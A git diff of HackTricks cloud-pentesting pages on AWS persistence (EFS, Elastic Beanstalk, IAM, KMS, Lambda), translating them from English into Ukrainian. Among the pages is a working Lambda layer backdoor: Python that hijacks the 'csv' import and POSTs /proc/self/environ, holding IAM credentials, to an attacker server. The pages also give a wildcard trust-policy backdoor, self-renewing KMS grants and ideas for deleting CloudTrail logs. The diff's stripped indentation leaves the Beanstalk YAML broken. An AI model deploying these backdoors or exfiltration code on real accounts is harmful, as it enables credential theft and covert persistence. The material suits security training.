b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -4,7 +4,7 @@ ## EFS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-efs-enum.md @@ -12,14 +12,10 @@ For more information check: ### Modify Resource Policy / Security Groups -Modifying the **resource policy and/or security groups** you can try to persist your access into the file system. +Модифікуючи **політику ресурсу та/або групи безпеки**, ви можете спробувати зберегти свій доступ до файлової системи. ### Create Access Point -You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system. +Ви можете **створити точку доступу** (з кореневим доступом до `/`), доступну з сервісу, де ви реалізували **іншу стійкість**, щоб зберегти привілейований доступ до файлової системи. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index c55e0e2ba..c3e69e7a0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -4,7 +4,7 @@ ## Elastic Beanstalk -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -12,23 +12,22 @@ For more information check: ### Persistence in Instance -In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**. +Щоб підтримувати стійкість всередині облікового запису AWS, деякі **механізми стійкості можуть бути впроваджені всередині екземпляра** (cron job, ssh key...), щоб зловмисник міг отримати доступ до нього та вкрасти **облікові дані IAM ролі з сервісу метаданих**. ### Backdoor in Version -An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code. +Зловмисник може впровадити бекдор у код всередині репозиторію S3, щоб він завжди виконував свій бекдор і очікуваний код. ### New backdoored version -Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application. +Замість зміни коду в актуальній версії, зловмисник може розгорнути нову версію програми з бекдором. ### Abusing Custom Resource Lifecycle Hooks > [!NOTE] > TODO: Test -Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**. - +Elastic Beanstalk надає гачки життєвого циклу, які дозволяють вам виконувати користувацькі скрипти під час постачання та завершення роботи екземпляра. Зловмисник може **налаштувати гачок життєвого циклу для періодичного виконання скрипта, який ексфільтрує дані або підтримує доступ до облікового запису AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash @@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: - AWSEBAutoScalingGroup: - Metadata: - AWS::ElasticBeanstalk::Ext: - TriggerConfiguration: - triggers: - - name: stealthy-lifecycle-hook - events: - - "autoscaling:EC2_INSTANCE_LAUNCH" - - "autoscaling:EC2_INSTANCE_TERMINATE" - target: - ref: "AWS::ElasticBeanstalk::Environment" - arn: - Fn::GetAtt: - - "AWS::ElasticBeanstalk::Environment" - - "Arn" - stealthyLifecycleHook: - Type: AWS::AutoScaling::LifecycleHook - Properties: - AutoScalingGroupName: - Ref: AWSEBAutoScalingGroup - LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING - NotificationTargetARN: - Ref: stealthy-lifecycle-hook - RoleARN: - Fn::GetAtt: - - AWSEBAutoScalingGroup - - Arn' > stealthy_lifecycle_hook.yaml +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index e3e1944e7..98a3f758d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -4,50 +4,44 @@ ## IAM -For more information access: +Для отримання додаткової інформації зверніться до: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### Common IAM Persistence +### Загальна IAM Постійнiсть -- Create a user -- Add a controlled user to a privileged group -- Create access keys (of the new user or of all users) -- Grant extra permissions to controlled users/groups (attached policies or inline policies) -- Disable MFA / Add you own MFA device -- Create a Role Chain Juggling situation (more on this below in STS persistence) +- Створити користувача +- Додати контрольованого користувача до привілейованої групи +- Створити ключі доступу (нового користувача або всіх користувачів) +- Надати додаткові дозволи контрольованим користувачам/групам (прикріплені політики або вбудовані політики) +- Вимкнути MFA / Додати свій власний пристрій MFA +- Створити ситуацію з ланцюгом ролей (більше про це нижче в STS постійності) -### Backdoor Role Trust Policies - -You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone): +### Політики довіри до бекдорів ролей +Ви можете створити бекдор у політиці довіри, щоб мати можливість приймати її для зовнішнього ресурсу, контрольованого вами (або для всіх): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": ["*", "arn:aws:iam::123213123123:root"] - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] } ``` - ### Backdoor Policy Version -Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group. +Надайте адміністративні дозволи політиці, яка не є її останньою версією (остання версія повинна виглядати легітимно), а потім призначте цю версію політики контрольованому користувачу/групі. ### Backdoor / Create Identity Provider -If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them. +Якщо обліковий запис вже довіряє загальному постачальнику ідентичності (такому як Github), умови довіри можуть бути посилені, щоб зловмисник міг їх зловживати. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 7aefbd410..ffc514d9b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -4,40 +4,34 @@ ## KMS -For mor information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Grant acces via KMS policies +### Надання доступу через політики KMS -An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information. +Зловмисник може використовувати дозвіл **`kms:PutKeyPolicy`** для **надання доступу** до ключа користувачу під його контролем або навіть до зовнішнього облікового запису. Перегляньте [**сторінку KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) для отримання додаткової інформації. -### Eternal Grant +### Вічний грант -Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key. +Гранти - це ще один спосіб надати принципалу деякі дозволи на конкретний ключ. Можливо надати грант, який дозволяє користувачу створювати гранти. Більше того, користувач може мати кілька грантів (навіть ідентичних) на той самий ключ. -Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated. - -(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant) +Отже, можливо, що користувач має 10 грантів з усіма дозволами. Зловмисник повинен постійно це контролювати. І якщо в якийсь момент 1 грант буде видалено, ще 10 повинні бути згенеровані. +(Ми використовуємо 10, а не 2, щоб мати можливість виявити, що грант був видалений, поки у користувача все ще є деякі гранти) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ - --key-id \ - --grantee-principal \ - --operations "CreateGrant" "Decrypt" +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" # To monitor grants aws kms list-grants --key-id ``` - > [!NOTE] -> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> Грант може надавати дозволи лише з цього: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 1390c2d55..dffd54aef 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ For more information check: ### Lambda Layer Persistence -It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: +Можливо **ввести/задній доступ до шару для виконання довільного коду** під час виконання лямбди непомітно: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Зловживаючи шарами Lambda, також можливо зловживати розширеннями та зберігати доступ до лямбди, а також красти та змінювати запити. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,41 +28,37 @@ aws-abusing-lambda-extensions.md ### Via resource policies -It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts: +Можливо надати доступ до різних дій лямбди (таких як виклик або оновлення коду) зовнішнім обліковим записам:
### Versions, Aliases & Weights -A Lambda can have **different versions** (with different code each version).\ -Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ -This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth. +Лямбда може мати **різні версії** (з різним кодом для кожної версії).\ +Потім ви можете створити **різні псевдоніми з різними версіями** лямбди та встановити різні ваги для кожної.\ +Таким чином, зловмисник може створити **задньо доступну версію 1** та **версію 2 лише з легітимним кодом** і **виконувати лише версію 1 у 1%** запитів, щоб залишатися непомітним.
### Version Backdoor + API Gateway -1. Copy the original code of the Lambda -2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST - 1. Call the API gateway related to the lambda to execute the code -3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. - 1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` - 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. Скопіюйте оригінальний код лямбди +2. **Створіть нову версію з заднім доступом** до оригінального коду (або просто з шкідливим кодом). Опублікуйте та **виконайте цю версію** на $LATEST +1. Викличте API шлюз, пов'язаний з лямбдою, щоб виконати код +3. **Створіть нову версію з оригінальним кодом**, опублікуйте та виконайте цю **версію** на $LATEST. +1. Це приховає код з заднім доступом у попередній версії +4. Перейдіть до API Gateway і **створіть новий метод POST** (або виберіть будь-який інший метод), який виконає версію лямбди з заднім доступом: `arn:aws:lambda:us-east-1::function::1` +1. Зверніть увагу на фінальне :1 в arn **яке вказує на версію функції** (версія 1 буде версією з заднім доступом у цьому сценарії). +5. Виберіть створений метод POST і в розділі Дії виберіть **`Deploy API`** +6. Тепер, коли ви **викликаєте функцію через POST, ваш задній доступ** буде активовано ### Cron/Event actuator -The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\ -Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**. +Той факт, що ви можете змусити **функції лямбди виконуватися, коли щось відбувається або коли проходить певний час**, робить лямбду гарним і поширеним способом отримання доступу та уникнення виявлення.\ +Ось кілька ідей, щоб зробити вашу **присутність в AWS більш непомітною, створюючи лямбди**. -- Every time a new user is created lambda generates a new user key and send it to the attacker. -- Every time a new role is created lambda gives assume role permissions to compromised users. -- Every time new cloudtrail logs are generated, delete/alter them +- Кожного разу, коли створюється новий користувач, лямбда генерує новий ключ користувача та надсилає його зловмиснику. +- Кожного разу, коли створюється нова роль, лямбда надає права на прийняття ролі скомпрометованим користувачам. +- Кожного разу, коли генеруються нові журнали cloudtrail, видаляйте/змінюйте їх. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 71655ada0..5c89d7251 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -1,46 +1,42 @@ -# AWS - Abusing Lambda Extensions +# AWS - Зловживання розширеннями Lambda {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Extensions +## Розширення Lambda -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Розширення Lambda покращують функції, інтегруючись з різними **інструментами моніторингу, спостереження, безпеки та управління**. Ці розширення, додані через [.zip архіви за допомогою шарів Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) або включені в [деплойменти контейнерних зображень](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), працюють у двох режимах: **внутрішні** та **зовнішні**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **Внутрішні розширення** зливаються з процесом виконання, маніпулюючи його запуском за допомогою **змінних середовища, специфічних для мови** та **обгорткових скриптів**. Це налаштування застосовується до ряду середовищ виконання, включаючи **Java Correto 8 та 11, Node.js 10 та 12, і .NET Core 3.1**. +- **Зовнішні розширення** працюють як окремі процеси, підтримуючи узгодженість роботи з життєвим циклом функції Lambda. Вони сумісні з різними середовищами виконання, такими як **Node.js 10 та 12, Python 3.7 та 3.8, Ruby 2.5 та 2.7, Java Corretto 8 та 11, .NET Core 3.1** та **кастомними середовищами виконання**. -For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). +Для отримання додаткової інформації про [**як працюють розширення lambda, перегляньте документацію**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). -### External Extension for Persistence, Stealing Requests & modifying Requests +### Зовнішнє розширення для збереження, крадіжки запитів та модифікації запитів -This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) +Це резюме техніки, запропонованої в цьому пості: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.** +Було виявлено, що за замовчуванням ядро Linux у середовищі виконання Lambda скомпільоване з системними викликами “**process_vm_readv**” та “**process_vm_writev**”. І всі процеси працюють з однаковим ідентифікатором користувача, навіть новий процес, створений для зовнішнього розширення. **Це означає, що зовнішнє розширення має повний доступ на читання та запис до пам'яті купи Rapid, за замовчуванням.** -Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request. +Більше того, хоча розширення Lambda мають можливість **підписуватися на події виклику**, AWS не розкриває сирі дані цим розширенням. Це забезпечує те, що **розширення не можуть отримати доступ до чутливої інформації**, переданої через HTTP запит. -The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid. +Процес Init (Rapid) моніторить всі API запити на [http://127.0.0.1:9001](http://127.0.0.1:9001/) під час ініціалізації розширень Lambda та їх виконання перед виконанням будь-якого коду середовища, але після Rapid.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions. +Змінна **`AWS_LAMBDA_RUNTIME_API`** вказує **IP** адресу та **номер порту** Rapid API для **дочірніх процесів виконання** та додаткових розширень. > [!WARNING] -> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number. +> Змінивши змінну середовища **`AWS_LAMBDA_RUNTIME_API`** на **`порт`**, до якого ми маємо доступ, можна перехопити всі дії в середовищі виконання Lambda (**людина посередині**). Це можливо, оскільки розширення працює з тими ж привілеями, що й Rapid Init, а ядро системи дозволяє **модифікацію пам'яті процесу**, що дозволяє змінювати номер порту. -Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment. +Оскільки **розширення працюють перед будь-яким кодом середовища**, модифікація змінної середовища вплине на процес виконання (наприклад, Python, Java, Node, Ruby) під час його запуску. Крім того, **розширення, завантажені після** нашого, які покладаються на цю змінну, також будуть маршрутизуватися через наше розширення. Це налаштування може дозволити шкідливому ПЗ повністю обійти заходи безпеки або розширення журналювання безпосередньо в середовищі виконання.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**. +Інструмент [**lambda-spy**](https://github.com/clearvector/lambda-spy) був створений для виконання **запису пам'яті** та **крадіжки чутливої інформації** з запитів lambda, інших **запитів розширень** та навіть **модифікації їх**. -## References +## Посилання - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index f8a5e2868..94488dab0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -4,79 +4,72 @@ ## Lambda Layers -A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Lambda layer - це архів .zip файл, який **може містити додатковий код** або інший контент. Шар може містити бібліотеки, [кастомний runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), дані або конфігураційні файли. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +Можливо включити до **п'яти шарів на функцію**. Коли ви включаєте шар у функцію, **вміст витягується до каталогу `/opt`** в середовищі виконання. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +За **замовчуванням**, **шари**, які ви створюєте, є **приватними** для вашого облікового запису AWS. Ви можете вибрати **поділитися** шаром з іншими обліковими записами або **зробити** шар **публічним**. Якщо ваші функції використовують шар, який опублікував інший обліковий запис, ваші функції можуть **продовжувати використовувати версію шару після його видалення або після відкликання вашого дозволу на доступ до шару**. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Функції, розгорнуті як контейнерне зображення, не використовують шари. Натомість ви упаковуєте свій улюблений runtime, бібліотеки та інші залежності в контейнерне зображення під час його створення. ### Python load path -The load path that Python will use in lambda is the following: - +Шлях завантаження, який Python буде використовувати в lambda, є наступним: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` - -Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** +Перевірте, як **друга** та третя **позиції** займаються каталогами, де **lambda layers** розпаковують свої файли: **`/opt/python/lib/python3.9/site-packages`** та **`/opt/python`** > [!CAUTION] -> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation. +> Якщо зловмиснику вдасться **внедрити** використану **lambda layer** або **додати одну**, яка буде **виконувати довільний код, коли завантажується загальна бібліотека**, він зможе виконувати шкідливий код з кожним викликом lambda. -Therefore, the requisites are: +Отже, вимоги такі: -- **Check libraries** that are **loaded** by the victims code -- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library. +- **Перевірте бібліотеки**, які **завантажуються** кодом жертви +- Створіть **проксі-бібліотеку з lambda layers**, яка буде **виконувати користувацький код** та **завантажувати оригінальну** бібліотеку. -### Preloaded libraries +### Попередньо завантажені бібліотеки > [!WARNING] -> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\ -> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed. - -With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda: +> Коли я зловживав цією технікою, я зіткнувся з труднощами: деякі бібліотеки **вже завантажені** в середовищі виконання python, коли ваш код виконується. Я очікував знайти такі речі, як `os` або `sys`, але **навіть бібліотека `json` була завантажена**.\ +> Щоб зловживати цією технікою збереження, код повинен **завантажити нову бібліотеку, яка не завантажена**, коли код виконується. +З таким кодом на python можливо отримати **список бібліотек, які попередньо завантажені** в середовищі виконання python в lambda: ```python import sys def lambda_handler(event, context): - return { - 'statusCode': 200, - 'body': str(sys.modules.keys()) - } +return { +'statusCode': 200, +'body': str(sys.modules.keys()) +} ``` - -And this is the **list** (check that libraries like `os` or `json` are already there) - +І це **список** (перевірте, що такі бібліотеки, як `os` або `json`, вже є) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` +І це список **бібліотек**, які **lambda включає за замовчуванням**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) -And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +### Задня дверка в Lambda Layer -### Lambda Layer Backdooring +У цьому прикладі припустимо, що цільовий код імпортує **`csv`**. Ми будемо **додавати задню дверку до імпорту бібліотеки `csv`**. -In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**. +Для цього ми створимо директорію csv з файлом **`__init__.py`** в ній у шляху, який завантажується lambda: **`/opt/python/lib/python3.9/site-packages`**\ +Тоді, коли lambda буде виконана і спробує завантажити **csv**, наш **файл `__init__.py` буде завантажений і виконаний**.\ +Цей файл повинен: -For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\ -Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\ -This file must: - -- Execute our payload -- Load the original csv library - -We can do both with: +- Виконати наш payload +- Завантажити оригінальну бібліотеку csv +Ми можемо зробити обидва з: ```python import sys from urllib import request with open("/proc/self/environ", "rb") as file: - url= "https://attacker13123344.com/" #Change this to your server - req = request.Request(url, data=file.read(), method="POST") - response = request.urlopen(req) +url= "https://attacker13123344.com/" #Change this to your server +req = request.Request(url, data=file.read(), method="POST") +response = request.urlopen(req) # Remove backdoor directory from path to load original library del_path_dir = "/".join(__file__.split("/")[:-2]) @@ -90,29 +83,27 @@ import csv as _csv sys.modules["csv"] = _csv ``` +Тоді створіть zip з цим кодом у шляху **`python/lib/python3.9/site-packages/__init__.py`** і додайте його як шар lambda. -Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer. +Ви можете знайти цей код за адресою [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) -You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) - -The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated: +Інтегрований payload **надішле IAM креденціали на сервер ПЕРШИЙ РАЗ, коли його викликають, або ПІСЛЯ скидання контейнера lambda** (зміна коду або холодна lambda), але **інші техніки** такі як наступні також можуть бути інтегровані: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -### External Layers +### Зовнішні шари -Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\ -Also note that the **max number of layers a lambda can have is 5**. +Зверніть увагу, що можливо використовувати **шари lambda з зовнішніх облікових записів**. Більше того, lambda може використовувати шар з 